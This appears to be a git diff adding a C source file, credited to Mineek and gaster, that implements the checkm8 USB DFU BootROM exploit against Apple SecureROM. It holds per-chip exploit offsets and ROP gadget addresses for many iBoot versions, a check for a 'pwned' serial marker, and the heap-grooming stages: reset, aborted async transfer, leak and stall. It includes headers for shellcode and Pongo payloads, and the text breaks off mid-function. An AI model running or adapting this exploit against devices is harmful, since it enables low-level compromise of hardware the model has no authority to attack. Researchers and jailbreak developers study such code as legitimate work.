diff --git a/src/checkm8/run.c b/src/checkm8/run.c new file mode 100644 index 0000000..d2dda44 --- /dev/null +++ b/src/checkm8/run.c @@ -0,0 +1,1028 @@ +/* Copyright 2023 Mineek + * Some code from gaster - Copyright 2023 0x7ff + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#ifndef __APPLE__ +# include +# include +# include +# include +# include +#else +# include +# include +# include +# include +#endif + +#include "../utils/log.h" + +#define DFU_DNLOAD (1) +#define APPLE_VID (0x5AC) +#define DFU_STATUS_OK (0) +#define DFU_GET_STATUS (3) +#define DFU_CLR_STATUS (4) +#define MAX_BLOCK_SZ (0x50) +#define DFU_MODE_PID (0x1227) +#define DFU_STATE_MANIFEST (7) +#define EP0_MAX_PACKET_SZ (0x40) +#define DFU_FILE_SUFFIX_LEN (16) +#define DFU_MAX_TRANSFER_SZ (0x800) +#define DFU_STATE_MANIFEST_SYNC (6) +#define ARM_16K_TT_L2_SZ (0x2000000U) +#define DFU_STATE_MANIFEST_WAIT_RESET (8) +#define DONE_MAGIC (0x646F6E65646F6E65ULL) +#define EXEC_MAGIC (0x6578656365786563ULL) +#define MEMC_MAGIC (0x6D656D636D656D63ULL) +#define USB_MAX_STRING_DESCRIPTOR_IDX (10) + +#ifdef __APPLE__ +# if TARGET_OS_IPHONE +# define kUSBPipeStalled kUSBHostReturnPipeStalled +# else +# define kUSBPipeStalled kIOUSBPipeStalled +# endif +#endif + +#ifndef MIN +# define MIN(a, b) ((a) < (b) ? (a) : (b)) +#endif + +typedef struct { + uint16_t vid, pid; +#ifndef __APPLE__ + struct libusb_device_handle *device; +#else + io_service_t serv; + IOUSBDeviceInterface320 **device; + CFRunLoopSourceRef async_event_source; +#endif +} usb_handle_t; + +typedef bool (*usb_check_cb_t)(usb_handle_t *, void *); + +enum usb_transfer { + USB_TRANSFER_OK, + USB_TRANSFER_ERROR, + USB_TRANSFER_STALL +}; + +typedef struct { + enum usb_transfer ret; + uint32_t sz; +} transfer_ret_t; + +extern uint8_t payloads_yolo_s8000_bin[], payloads_yolo_s8001_bin[], payloads_yolo_s8003_bin[], payloads_yolo_t7000_bin[], payloads_yolo_t7001_bin[], payloads_yolo_t8010_bin[], payloads_yolo_t8011_bin[], payloads_yolo_t8015_bin[]; +extern unsigned payloads_yolo_s8000_bin_len, payloads_yolo_s8001_bin_len, payloads_yolo_s8003_bin_len, payloads_yolo_t7000_bin_len, payloads_yolo_t7001_bin_len, payloads_yolo_t8010_bin_len, payloads_yolo_t8011_bin_len, payloads_yolo_t8015_bin_len; + +extern uint8_t payloads_Pongo_bin[], payloads_shellcode_bin[]; +extern unsigned payloads_Pongo_bin_len, payloads_shellcode_bin_len; + +#include "../gen/payloads/yolo_s8000.h" +#include "../gen/payloads/yolo_s8001.h" +#include "../gen/payloads/yolo_s8003.h" +#include "../gen/payloads/yolo_t7000.h" +#include "../gen/payloads/yolo_t7001.h" +#include "../gen/payloads/yolo_t8010.h" +#include "../gen/payloads/yolo_t8011.h" +#include "../gen/payloads/yolo_t8015.h" + +#include "../gen/payloads/Pongo.h" +#include "../gen/payloads/lz4dec.h" + +static uint16_t cpid; +static uint32_t payload_dest_armv7; +static const char *pwnd_str = " YOLO:checkra1n"; +static unsigned usb_timeout, usb_abort_timeout_min; +static struct { + uint8_t b_len, b_descriptor_type; + uint16_t bcd_usb; + uint8_t b_device_class, b_device_sub_class, b_device_protocol, b_max_packet_sz; + uint16_t id_vendor, id_product, bcd_device; + uint8_t i_manufacturer, i_product, i_serial_number, b_num_configurations; +} device_descriptor; +static size_t config_hole, ttbr0_vrom_off, ttbr0_sram_off, config_large_leak, config_overwrite_pad; +static uint64_t tlbi, nop_gadget, ret_gadget, patch_addr, ttbr0_addr, func_gadget, write_ttbr0, memcpy_addr, aes_crypto_cmd, boot_tramp_end, gUSBSerialNumber, dfu_handle_request, usb_core_do_transfer, dfu_handle_bus_reset, insecure_memory_base, handle_interface_request, usb_create_string_descriptor, usb_serial_number_string_descriptor; + +static void sleep_ms(unsigned ms) { + #ifdef __WIN32 + Sleep(ms); + #else + struct timespec ts; + + ts.tv_sec = ms / 1000; + ts.tv_nsec = (ms % 1000) * 1000000L; + nanosleep(&ts, NULL); + #endif +} + +#ifndef __APPLE__ +static void close_usb_handle(usb_handle_t *handle) { + libusb_close(handle->device); + libusb_exit(NULL); +} + +static void reset_usb_handle(const usb_handle_t *handle) { + libusb_reset_device(handle->device); +} + +static bool wait_usb_handle(usb_handle_t *handle, usb_check_cb_t usb_check_cb, void *arg) { + if(libusb_init(NULL) == LIBUSB_SUCCESS) { + for(;;) { + if((handle->device = libusb_open_device_with_vid_pid(NULL, handle->vid, handle->pid)) != NULL) { + if(libusb_set_configuration(handle->device, 1) == LIBUSB_SUCCESS && (usb_check_cb == NULL || usb_check_cb(handle, arg))) { + return true; + } + libusb_close(handle->device); + } + sleep_ms(usb_timeout); + } + } + return false; +} + +static void usb_async_cb(struct libusb_transfer *transfer) { + *(int *)transfer->user_data = 1; +} + +static bool send_usb_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, transfer_ret_t *transfer_ret) { + int ret = libusb_control_transfer(handle->device, bm_request_type, b_request, w_value, w_index, p_data, (uint16_t)w_len, usb_timeout); + + if(transfer_ret != NULL) { + if(ret >= 0) { + transfer_ret->sz = (uint32_t)ret; + transfer_ret->ret = USB_TRANSFER_OK; + } else if(ret == LIBUSB_ERROR_PIPE) { + transfer_ret->ret = USB_TRANSFER_STALL; + } else { + transfer_ret->ret = USB_TRANSFER_ERROR; + } + } + return true; +} + +static bool send_usb_control_request_async(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, unsigned usb_abort_timeout, transfer_ret_t *transfer_ret) { + struct libusb_transfer *transfer = libusb_alloc_transfer(0); + struct timeval tv; + int completed = 0; + uint8_t *buf; + + if(transfer != NULL) { + if((buf = malloc(LIBUSB_CONTROL_SETUP_SIZE + w_len)) != NULL) { + if((bm_request_type & LIBUSB_ENDPOINT_DIR_MASK) == LIBUSB_ENDPOINT_OUT) { + memcpy(buf + LIBUSB_CONTROL_SETUP_SIZE, p_data, w_len); + } + libusb_fill_control_setup(buf, bm_request_type, b_request, w_value, w_index, (uint16_t)w_len); + libusb_fill_control_transfer(transfer, handle->device, buf, usb_async_cb, &completed, usb_timeout); + if(libusb_submit_transfer(transfer) == LIBUSB_SUCCESS) { + tv.tv_sec = usb_abort_timeout / 1000; + tv.tv_usec = (usb_abort_timeout % 1000) * 1000; + while(completed == 0 && libusb_handle_events_timeout_completed(NULL, &tv, &completed) == LIBUSB_SUCCESS) { + libusb_cancel_transfer(transfer); + } + if(completed != 0) { + if((bm_request_type & LIBUSB_ENDPOINT_DIR_MASK) == LIBUSB_ENDPOINT_IN) { + memcpy(p_data, libusb_control_transfer_get_data(transfer), transfer->actual_length); + } + if(transfer_ret != NULL) { + transfer_ret->sz = (uint32_t)transfer->actual_length; + if(transfer->status == LIBUSB_TRANSFER_COMPLETED) { + transfer_ret->ret = USB_TRANSFER_OK; + } else if(transfer->status == LIBUSB_TRANSFER_STALL) { + transfer_ret->ret = USB_TRANSFER_STALL; + } else { + transfer_ret->ret = USB_TRANSFER_ERROR; + } + } + } + } + free(buf); + } + libusb_free_transfer(transfer); + } + return completed != 0; +} + +static void init_usb_handle(usb_handle_t *handle, uint16_t vid, uint16_t pid) { + handle->vid = vid; + handle->pid = pid; + handle->device = NULL; +} +#else +static void cf_dictionary_set_int16(CFMutableDictionaryRef dict, const void *key, uint16_t val) { + CFNumberRef cf_val = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt16Type, &val); + + if(cf_val != NULL) { + CFDictionarySetValue(dict, key, cf_val); + CFRelease(cf_val); + } +} + +static bool query_usb_interface(io_service_t serv, CFUUIDRef plugin_type, CFUUIDRef interface_type, LPVOID *interface) { + IOCFPlugInInterface **plugin_interface; + bool ret = false; + SInt32 score; + + if(IOCreatePlugInInterfaceForService(serv, plugin_type, kIOCFPlugInInterfaceID, &plugin_interface, &score) == kIOReturnSuccess) { + ret = (*plugin_interface)->QueryInterface(plugin_interface, CFUUIDGetUUIDBytes(interface_type), interface) == kIOReturnSuccess; + IODestroyPlugInInterface(plugin_interface); + } + IOObjectRelease(serv); + return ret; +} + +static void close_usb_device(usb_handle_t *handle) { + CFRunLoopRemoveSource(CFRunLoopGetCurrent(), handle->async_event_source, kCFRunLoopDefaultMode); + CFRelease(handle->async_event_source); + (*handle->device)->USBDeviceClose(handle->device); + (*handle->device)->Release(handle->device); +} + +static void close_usb_handle(usb_handle_t *handle) { + close_usb_device(handle); +} + +static bool open_usb_device(io_service_t serv, usb_handle_t *handle) { + bool ret = false; + + if(query_usb_interface(serv, kIOUSBDeviceUserClientTypeID, kIOUSBDeviceInterfaceID320, (LPVOID *)&handle->device)) { + if((*handle->device)->USBDeviceOpen(handle->device) == kIOReturnSuccess) { + if((*handle->device)->SetConfiguration(handle->device, 1) == kIOReturnSuccess && (*handle->device)->CreateDeviceAsyncEventSource(handle->device, &handle->async_event_source) == kIOReturnSuccess) { + CFRunLoopAddSource(CFRunLoopGetCurrent(), handle->async_event_source, kCFRunLoopDefaultMode); + ret = true; + } else { + (*handle->device)->USBDeviceClose(handle->device); + } + } + if(!ret) { + (*handle->device)->Release(handle->device); + } + } + return ret; +} + +static bool wait_usb_handle(usb_handle_t *handle, usb_check_cb_t usb_check_cb, void *arg) { + CFMutableDictionaryRef matching_dict; + const char *darwin_device_class; + io_iterator_t iter; + io_service_t serv; + bool ret = false; + +#if TARGET_OS_IPHONE + darwin_device_class = "IOUSBHostDevice"; +#else + darwin_device_class = kIOUSBDeviceClassName; +#endif + while((matching_dict = IOServiceMatching(darwin_device_class)) != NULL) { + cf_dictionary_set_int16(matching_dict, CFSTR(kUSBVendorID), handle->vid); + cf_dictionary_set_int16(matching_dict, CFSTR(kUSBProductID), handle->pid); + if(IOServiceGetMatchingServices(0, matching_dict, &iter) == kIOReturnSuccess) { + while((serv = IOIteratorNext(iter)) != IO_OBJECT_NULL) { + if(open_usb_device(serv, handle)) { + if(usb_check_cb == NULL || usb_check_cb(handle, arg)) { + ret = true; + break; + } + close_usb_device(handle); + } + } + IOObjectRelease(iter); + if(ret) { + break; + } + sleep_ms(usb_timeout); + } + } + return ret; +} + +static void reset_usb_handle(usb_handle_t *handle) { + (*handle->device)->ResetDevice(handle->device); + (*handle->device)->USBDeviceReEnumerate(handle->device, 0); +} + +static void usb_async_cb(void *refcon, IOReturn ret, void *arg) { + transfer_ret_t *transfer_ret = refcon; + + if(transfer_ret != NULL) { + memcpy(&transfer_ret->sz, &arg, sizeof(transfer_ret->sz)); + if(ret == kIOReturnSuccess) { + transfer_ret->ret = USB_TRANSFER_OK; + } else if(ret == kUSBPipeStalled) { + transfer_ret->ret = USB_TRANSFER_STALL; + } else { + transfer_ret->ret = USB_TRANSFER_ERROR; + } + } + CFRunLoopStop(CFRunLoopGetCurrent()); +} + +static bool send_usb_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, transfer_ret_t *transfer_ret) { + IOUSBDevRequestTO req; + IOReturn ret; + + req.wLenDone = 0; + req.pData = p_data; + req.bRequest = b_request; + req.bmRequestType = bm_request_type; + req.wLength = OSSwapLittleToHostInt16(w_len); + req.wValue = OSSwapLittleToHostInt16(w_value); + req.wIndex = OSSwapLittleToHostInt16(w_index); + req.completionTimeout = req.noDataTimeout = usb_timeout; + ret = (*handle->device)->DeviceRequestTO(handle->device, &req); + if(transfer_ret != NULL) { + if(ret == kIOReturnSuccess) { + transfer_ret->sz = req.wLenDone; + transfer_ret->ret = USB_TRANSFER_OK; + } else if(ret == kUSBPipeStalled) { + transfer_ret->ret = USB_TRANSFER_STALL; + } else { + transfer_ret->ret = USB_TRANSFER_ERROR; + } + } + return true; +} + +static bool send_usb_control_request_async(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, unsigned usb_abort_timeout, transfer_ret_t *transfer_ret) { + IOUSBDevRequestTO req; + + req.wLenDone = 0; + req.pData = p_data; + req.bRequest = b_request; + req.bmRequestType = bm_request_type; + req.wLength = OSSwapLittleToHostInt16(w_len); + req.wValue = OSSwapLittleToHostInt16(w_value); + req.wIndex = OSSwapLittleToHostInt16(w_index); + req.completionTimeout = req.noDataTimeout = usb_timeout; + if((*handle->device)->DeviceRequestAsyncTO(handle->device, &req, usb_async_cb, transfer_ret) == kIOReturnSuccess) { + sleep_ms(usb_abort_timeout); + if((*handle->device)->USBDeviceAbortPipeZero(handle->device) == kIOReturnSuccess) { + CFRunLoopRun(); + return true; + } + } + return false; +} + +static void init_usb_handle(usb_handle_t *handle, uint16_t vid, uint16_t pid) { + handle->vid = vid; + handle->pid = pid; + handle->device = NULL; +} +#endif + +static bool send_usb_control_request_no_data(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, size_t w_len, transfer_ret_t *transfer_ret) { + bool ret = false; + void *p_data; + + if(w_len == 0) { + ret = send_usb_control_request(handle, bm_request_type, b_request, w_value, w_index, NULL, 0, transfer_ret); + } else if((p_data = malloc(w_len)) != NULL) { + memset(p_data, '\0', w_len); + ret = send_usb_control_request(handle, bm_request_type, b_request, w_value, w_index, p_data, w_len, transfer_ret); + free(p_data); + } + return ret; +} + +static bool send_usb_control_request_async_no_data(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, size_t w_len, unsigned usb_abort_timeout, transfer_ret_t *transfer_ret) { + bool ret = false; + void *p_data; + + if(w_len == 0) { + ret = send_usb_control_request_async(handle, bm_request_type, b_request, w_value, w_index, NULL, 0, usb_abort_timeout, transfer_ret); + } else if((p_data = malloc(w_len)) != NULL) { + memset(p_data, '\0', w_len); + ret = send_usb_control_request_async(handle, bm_request_type, b_request, w_value, w_index, p_data, w_len, usb_abort_timeout, transfer_ret); + free(p_data); + } + return ret; +} + +static char * get_usb_serial_number(usb_handle_t *handle) { + transfer_ret_t transfer_ret; + uint8_t buf[UINT8_MAX]; + char *str = NULL; + size_t i, sz; + + if(send_usb_control_request(handle, 0x80, 6, 1U << 8U, 0, &device_descriptor, sizeof(device_descriptor), &transfer_ret) && transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == sizeof(device_descriptor) && send_usb_control_request(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, 0x409, buf, sizeof(buf), &transfer_ret) && transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == buf[0] && (sz = buf[0] / 2) != 0 && (str = malloc(sz)) != NULL) { + for(i = 0; i < sz; ++i) { + str[i] = (char)buf[2 * (i + 1)]; + } + str[sz - 1] = '\0'; + } + return str; +} + +static bool checkm8_check_usb_device(usb_handle_t *handle, void *pwned) { + char *usb_serial_num = get_usb_serial_number(handle); + bool ret = false; + + if(usb_serial_num != NULL) { + if(strstr(usb_serial_num, " SRTG:[iBoot-1145.3]") != NULL) { + cpid = 0x8950; + config_large_leak = 659; + config_overwrite_pad = 0x640; + memcpy_addr = 0x9ACC; + aes_crypto_cmd = 0x7301; + gUSBSerialNumber = 0x10061F80; + dfu_handle_request = 0x10061A24; + payload_dest_armv7 = 0x10079800; + usb_core_do_transfer = 0x7621; + dfu_handle_bus_reset = 0x10061A3C; + insecure_memory_base = 0x10000000; + handle_interface_request = 0x8161; + usb_create_string_descriptor = 0x7C55; + usb_serial_number_string_descriptor = 0x100600D8; + } else if(strstr(usb_serial_num, " SRTG:[iBoot-1145.3.3]") != NULL) { + cpid = 0x8955; + config_large_leak = 659; + config_overwrite_pad = 0x640; + memcpy_addr = 0x9B0C; + aes_crypto_cmd = 0x7341; + gUSBSerialNumber = 0x10061F80; + dfu_handle_request = 0x10061A24; + payload_dest_armv7 = 0x10079800; + usb_core_do_transfer = 0x7661; + dfu_handle_bus_reset = 0x10061A3C; + insecure_memory_base = 0x10000000; + handle_interface_request = 0x81A1; + usb_create_string_descriptor = 0x7C95; + usb_serial_number_string_descriptor = 0x100600D8; + } else if(strstr(usb_serial_num, " SRTG:[iBoot-1458.2]") != NULL) { + cpid = 0x8947; + config_large_leak = 626; + config_overwrite_pad = 0x660; + memcpy_addr = 0x9A3C; + aes_crypto_cmd = 0x7061; + gUSBSerialNumber = 0x3402DDF8; + dfu_handle_request = 0x3402D92C; + payload_dest_armv7 = 0x34039800; + usb_core_do_transfer = 0x79ED; + dfu_handle_bus_reset = 0x3402D944; + insecure_memory_base = 0x34000000; + handle_interface_request = 0x7BC9; + usb_create_string_descriptor = 0x72A9; + usb_serial_number_string_descriptor = 0x3402C2DA; + } else if(strstr(usb_serial_num, " SRTG:[iBoot-1704.10]") != NULL) { + cpid = 0x8960; + config_large_leak = 7936; + config_overwrite_pad = 0x5C0; + patch_addr = 0x100005CE0; + memcpy_addr = 0x10000ED50; + aes_crypto_cmd = 0x10000B9A8; + boot_tramp_end = 0x1800E1000; + gUSBSerialNumber = 0x180086CDC; + dfu_handle_request = 0x180086C70; + usb_core_do_transfer = 0x10000CC78; + dfu_handle_bus_reset = 0x180086CA0; + insecure_memory_base = 0x180380000; + handle_interface_request = 0x10000CFB4; + usb_create_string_descriptor = 0x10000BFEC; + usb_serial_number_string_descriptor = 0x180080562; + } else if(strstr(usb_serial_num, " SRTG:[iBoot-1991.0.0.2.16]") != NULL) { + cpid = 0x7001; + config_overwrite_pad = 0x500; + patch_addr = 0x10000AD04; + memcpy_addr = 0x100013F10; + aes_crypto_cmd = 0x100010A90; + boot_tramp_end = 0x1800E1000; + gUSBSerialNumber = 0x180088E48; + dfu_handle_request = 0x180088DF8; + usb_core_do_transfer = 0x100011BB4; + dfu_handle_bus_reset = 0x180088E18; + insecure_memory_base = 0x180380000; + handle_interface_request = 0x100011EE4; + usb_create_string_descriptor = 0x100011074; + usb_serial_number_string_descriptor = 0x180080C2A; + } else if(strstr(usb_serial_num, " SRTG:[iBoot-1992.0.0.1.19]") != NULL) { + cpid = 0x7000; + config_overwrite_pad = 0x500; + patch_addr = 0x100007E98; + memcpy_addr = 0x100010E70; + aes_crypto_cmd = 0x10000DA90; + boot_tramp_end = 0x1800E1000; + gUSBSerialNumber = 0x1800888C8; + dfu_handle_request = 0x180088878; + usb_core_do_transfer = 0x10000EBB4; + dfu_handle_bus_reset = 0x180088898; + insecure_memory_base = 0x180380000; + handle_interface_request = 0x10000EEE4; + usb_create_string_descriptor = 0x10000E074; + usb_serial_number_string_descriptor = 0x18008062A; + } else if(strstr(usb_serial_num, " SRTG:[iBoot-2098.0.0.2.4]") != NULL) { + cpid = 0x7002; + config_overwrite_pad = 0x500; + memcpy_addr = 0x89F4; + aes_crypto_cmd = 0x6341; + gUSBSerialNumber = 0x46005958; + dfu_handle_request = 0x46005898; + payload_dest_armv7 = 0x46007800; + usb_core_do_transfer = 0x6E59; + dfu_handle_bus_reset = 0x460058B0; + insecure_memory_base = 0x46018000; + handle_interface_request = 0x7081; + usb_create_string_descriptor = 0x6745; + usb_serial_number_string_descriptor = 0x4600034A; + } else if(strstr(usb_serial_num, " SRTG:[iBoot-2234.0.0.2.22]") != NULL) { + cpid = 0x8003; + config_overwrite_pad = 0x500; + patch_addr = 0x10000812C; + ttbr0_addr = 0x1800C8000; + memcpy_addr = 0x100011030; + aes_crypto_cmd = 0x10000DAA0; + ttbr0_vrom_off = 0x400; + boot_tramp_end = 0x1800E1000; + gUSBSerialNumber = 0x180087958; + dfu_handle_request = 0x1800878F8; + usb_core_do_transfer = 0x10000EE78; + dfu_handle_bus_reset = 0x180087928; + insecure_memory_base = 0x180380000; + handle_interface_request = 0x10000F1B0; + usb_create_string_descriptor = 0x10000E354; + usb_serial_number_string_descriptor = 0x1800807DA; + } else if(strstr(usb_serial_num, " SRTG:[iBoot-2234.0.0.3.3]") != NULL) { + cpid = 0x8000; + config_overwrite_pad = 0x500; + patch_addr = 0x10000812C; + ttbr0_addr = 0x1800C8000; + memcpy_addr = 0x100011030; + aes_crypto_cmd = 0x10000DAA0; + ttbr0_vrom_off = 0x400; + boot_tramp_end = 0x1800E1000; + gUSBSerialNumber = 0x180087958; + dfu_handle_request = 0x1800878F8; + usb_core_do_transfer = 0x10000EE78; + dfu_handle_bus_reset = 0x180087928; + insecure_memory_base = 0x180380000; + handle_interface_request = 0x10000F1B0; + usb_create_string_descriptor = 0x10000E354; + usb_serial_number_string_descriptor = 0x1800807DA; + } else if(strstr(usb_serial_num, " SRTG:[iBoot-2481.0.0.2.1]") != NULL) { + cpid = 0x8001; + config_hole = 6; + config_overwrite_pad = 0x5C0; + tlbi = 0x100000404; + nop_gadget = 0x10000CD60; + ret_gadget = 0x100000118; + patch_addr = 0x100007668; + ttbr0_addr = 0x180050000; + func_gadget = 0x10000CD40; + write_ttbr0 = 0x1000003B4; + memcpy_addr = 0x1000106F0; + aes_crypto_cmd = 0x10000C9D4; + boot_tramp_end = 0x180044000; + ttbr0_vrom_off = 0x400; + ttbr0_sram_off = 0x600; + gUSBSerialNumber = 0x180047578; + dfu_handle_request = 0x18004C378; + usb_core_do_transfer = 0x10000DDA4; + dfu_handle_bus_reset = 0x18004C3A8; + insecure_memory_base = 0x180000000; + handle_interface_request = 0x10000E0B4; + usb_create_string_descriptor = 0x10000D280; + usb_serial_number_string_descriptor = 0x18004486A; + } else if(strstr(usb_serial_num, " SRTG:[iBoot-2651.0.0.1.31]") != NULL) { + cpid = 0x8002; + config_hole = 5; + config_overwrite_pad = 0x5C0; + memcpy_addr = 0xB6F8; + aes_crypto_cmd = 0x86DD; + gUSBSerialNumber = 0x48802AB8; + dfu_handle_request = 0x48806344; + payload_dest_armv7 = 0x48806E00; + usb_core_do_transfer = 0x9411; + dfu_handle_bus_reset = 0x4880635C; + insecure_memory_base = 0x48818000; + handle_interface_request = 0x95F1; + usb_create_string_descriptor = 0x8CA5; + usb_serial_number_string_descriptor = 0x4880037A; + } else if(strstr(usb_serial_num, " SRTG:[iBoot-2651.0.0.3.3]") != NULL) { + cpid = 0x8004; + config_hole = 5; + config_overwrite_pad = 0x5C0; + memcpy_addr = 0xA884; + aes_crypto_cmd = 0x786D; + gUSBSerialNumber = 0x48802AE8; + dfu_handle_request = 0x48806384; + payload_dest_armv7 = 0x48806E00; + usb_core_do_transfer = 0x85A1; + dfu_handle_bus_reset = 0x4880639C; + insecure_memory_base = 0x48818000; + handle_interface_request = 0x877D; + usb_create_string_descriptor = 0x7E35; + usb_serial_number_string_descriptor = 0x488003CA; + } else if(strstr(usb_serial_num, " SRTG:[iBoot-2696.0.0.1.33]") != NULL) { + cpid = 0x8010; + config_hole = 5; + config_overwrite_pad = 0x5C0; + tlbi = 0x100000434; + nop_gadget = 0x10000CC6C; + ret_gadget = 0x10000015C; + patch_addr = 0x1000074AC; + ttbr0_addr = 0x1800A0000; + func_gadget = 0x10000CC4C; + write_ttbr0 = 0x1000003E4; + memcpy_addr = 0x100010730; + aes_crypto_cmd = 0x10000C8F4; + boot_tramp_end = 0x1800B0000; + ttbr0_vrom_off = 0x400; + ttbr0_sram_off = 0x600; + gUSBSerialNumber = 0x180083CF8; + dfu_handle_request = 0x180088B48; + usb_core_do_transfer = 0x10000DC98; + dfu_handle_bus_reset = 0x180088B78; + insecure_memory_base = 0x1800B0000; + handle_interface_request = 0x10000DFB8; + usb_create_string_descriptor = 0x10000D150; + usb_serial_number_string_descriptor = 0x1800805DA; + } else if(strstr(usb_serial_num, " SRTG:[iBoot-3135.0.0.2.3]") != NULL) { + cpid = 0x8011; + config_hole = 6; + config_overwrite_pad = 0x540; + tlbi = 0x100000444; + nop_gadget = 0x10000CD0C; + ret_gadget = 0x100000148; + patch_addr = 0x100007630; + ttbr0_addr = 0x1800A0000; + func_gadget = 0x10000CCEC; + write_ttbr0 = 0x1000003F4; + memcpy_addr = 0x100010950; + aes_crypto_cmd = 0x10000C994; + boot_tramp_end = 0x1800B0000; + ttbr0_vrom_off = 0x400; + ttbr0_sram_off = 0x600; + gUSBSerialNumber = 0x180083D28; + dfu_handle_request = 0x180088A58; + usb_core_do_transfer = 0x10000DD64; + dfu_handle_bus_reset = 0x180088A88; + insecure_memory_base = 0x1800B0000; + handle_interface_request = 0x10000E08C; + usb_create_string_descriptor = 0x10000D234; + usb_serial_number_string_descriptor = 0x18008062A; + } else if(strstr(usb_serial_num, " SRTG:[iBoot-3332.0.0.1.23]") != NULL) { + cpid = 0x8015; + config_hole = 6; + config_overwrite_pad = 0x540; + tlbi = 0x1000004AC; + nop_gadget = 0x10000A9C4; + ret_gadget = 0x100000148; + patch_addr = 0x10000624C; + ttbr0_addr = 0x18000C000; + func_gadget = 0x10000A9AC; + write_ttbr0 = 0x10000045C; + memcpy_addr = 0x10000E9D0; + aes_crypto_cmd = 0x100009E9C; + boot_tramp_end = 0x18001C000; + ttbr0_vrom_off = 0x400; + ttbr0_sram_off = 0x600; + gUSBSerialNumber = 0x180003A78; + dfu_handle_request = 0x180008638; + usb_core_do_transfer = 0x10000B9A8; + dfu_handle_bus_reset = 0x180008668; + insecure_memory_base = 0x18001C000; + handle_interface_request = 0x10000BCCC; + usb_create_string_descriptor = 0x10000AE80; + usb_serial_number_string_descriptor = 0x1800008FA; + } else if(strstr(usb_serial_num, " SRTG:[iBoot-3401.0.0.1.16]") != NULL) { + cpid = 0x8012; + config_hole = 6; + config_overwrite_pad = 0x540; + tlbi = 0x100000494; + nop_gadget = 0x100008DB8; + ret_gadget = 0x10000012C; + patch_addr = 0x100004854; + ttbr0_addr = 0x18000C000; + func_gadget = 0x100008DA0; + write_ttbr0 = 0x100000444; + memcpy_addr = 0x10000EA30; + aes_crypto_cmd = 0x1000082AC; + boot_tramp_end = 0x18001C000; + ttbr0_vrom_off = 0x400; + ttbr0_sram_off = 0x600; + gUSBSerialNumber = 0x180003AF8; + dfu_handle_request = 0x180008B08; + usb_core_do_transfer = 0x10000BD20; + dfu_handle_bus_reset = 0x180008B38; + insecure_memory_base = 0x18001C000; + handle_interface_request = 0x10000BFFC; + usb_create_string_descriptor = 0x10000B1CC; + usb_serial_number_string_descriptor = 0x18000082A; + } + if(cpid != 0) { + *(bool *)pwned = strstr(usb_serial_num, pwnd_str) != NULL; + ret = true; + } + free(usb_serial_num); + } + return ret; +} + +static bool dfu_check_status(const usb_handle_t *handle, uint8_t status, uint8_t state) { + struct { + uint8_t status, poll_timeout[3], state, str_idx; + } dfu_status; + transfer_ret_t transfer_ret; + + return send_usb_control_request(handle, 0xA1, DFU_GET_STATUS, 0, 0, &dfu_status, sizeof(dfu_status), &transfer_ret) && transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == sizeof(dfu_status) && dfu_status.status == status && dfu_status.state == state; +} + +static bool dfu_set_state_wait_reset(const usb_handle_t *handle) { + transfer_ret_t transfer_ret; + + return send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, 0, &transfer_ret) && transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == 0 && dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST_SYNC) && dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST) && dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST_WAIT_RESET); +} + +static bool checkm8_stage_reset(const usb_handle_t *handle) { + transfer_ret_t transfer_ret; + + if(send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, DFU_FILE_SUFFIX_LEN, &transfer_ret) && transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == DFU_FILE_SUFFIX_LEN && dfu_set_state_wait_reset(handle) && send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, EP0_MAX_PACKET_SZ, &transfer_ret) && transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == EP0_MAX_PACKET_SZ) { + return true; + } + send_usb_control_request_no_data(handle, 0x21, DFU_CLR_STATUS, 0, 0, 0, NULL); + return false; +} + +static bool checkm8_stage_setup(const usb_handle_t *handle) { + unsigned usb_abort_timeout = usb_timeout - 1; + transfer_ret_t transfer_ret; + + for(;;) { + if(send_usb_control_request_async_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, DFU_MAX_TRANSFER_SZ, usb_abort_timeout, &transfer_ret) && transfer_ret.sz < config_overwrite_pad && send_usb_control_request_no_data(handle, 0, 0, 0, 0, config_overwrite_pad - transfer_ret.sz, &transfer_ret) && transfer_ret.ret == USB_TRANSFER_STALL) { + return true; + } + send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, EP0_MAX_PACKET_SZ, NULL); + usb_abort_timeout = (usb_abort_timeout + 1) % (usb_timeout - usb_abort_timeout_min + 1) + usb_abort_timeout_min; + } + return false; +} + +static bool checkm8_usb_request_leak(const usb_handle_t *handle) { + transfer_ret_t transfer_ret; + + return send_usb_control_request_async_no_data(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, EP0_MAX_PACKET_SZ, 1, &transfer_ret) && transfer_ret.sz == 0; +} + +static void checkm8_stall(const usb_handle_t *handle) { + unsigned usb_abort_timeout = usb_timeout - 